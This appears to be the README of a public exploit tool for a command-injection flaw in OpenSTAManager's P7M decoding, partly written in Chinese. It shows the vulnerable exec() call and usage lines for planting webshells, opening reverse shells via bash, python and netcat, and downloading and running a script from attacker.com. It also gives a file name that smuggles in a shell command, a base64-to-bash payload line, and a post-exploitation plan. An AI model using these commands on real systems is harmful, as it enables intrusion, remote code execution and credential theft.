// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

# 使用凭据登录
python3 exploit.py -t http://target.com -u admin -p secret --check

# 使用现有会话 cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

# 自动检测插件并验证漏洞
python3 exploit.py -t http://target.com -u admin -p secret --check

# 使用已知模块/插件 ID
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

# 将 webshell 部署到默认目录（files/）
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# 自定义目录和文件名
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

# 部署 webshell + 交互式 Shell
python3 exploit.py -t http://target.com -u admin -p secret --rce

# 使用之前运行中已有的 webshell
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

# Bash 反向 Shell（默认，非常可靠）
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# Python 反向 Shell
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# 使用 mkfifo 的 Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# 使用 -e 标志的 Netcat
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

# 执行命令（不返回输出）
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# 下载并执行 payload
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

# 通过 Burp Suite 代理
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# 带请求延迟（2 秒）
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# 跳过 SSL 验证
python3 exploit.py -t https://target.com -u admin -p secret --check -k

目标：
  -t, --target           目标基础 URL

身份验证：
  -u, --user             登录用户名
  -p, --password         登录密码
  -c, --cookie           现有 PHPSESSID 值

操作：
  --check                验证目标是否易受攻击
  --webshell             部署 PHP webshell
  --rce                  通过 webshell 进行交互式 shell
  --reverse-shell        反向 Shell（LHOST LPORT）
  --cmd COMMAND          盲命令执行

Shell 选项：
  --shell-dir DIR        webshell 写入目录（默认：files）
  --shell-name NAME      自定义 webshell 文件名
  --method METHOD        反向 Shell 方法：bash, python, nc, nc-e

插件检测：
  --module-id ID         OpenSTAManager 模块 ID
  --plugin-id ID         importFE_ZIP 插件 ID

网络：
  --proxy URL            HTTP 代理 URL
  -k, --no-ssl-verify    禁用 SSL 验证
  --delay SECONDS        请求之间的延迟（秒）

invoice.p7m";INJECTED_COMMAND;echo ".p7m

openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

通过 importFE_ZIP 插件上传 ZIP 压缩包
    └── actions.php 分发到插件处理程序
        └── ZipArchive::extractTo() 解压文件
            └── 遍历 .p7m 文件
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── Shell 解释注入的命令

1. --check             → 通过标记文件确认 RCE
2. --webshell          → 将 PHP Shell 放入 files/ 目录
3. --rce               → 交互式命令执行
4. 枚举               → id, cat /etc/passwd, ifconfig
5. 横向移动           → 向攻击者发送反向 Shell，后渗透利用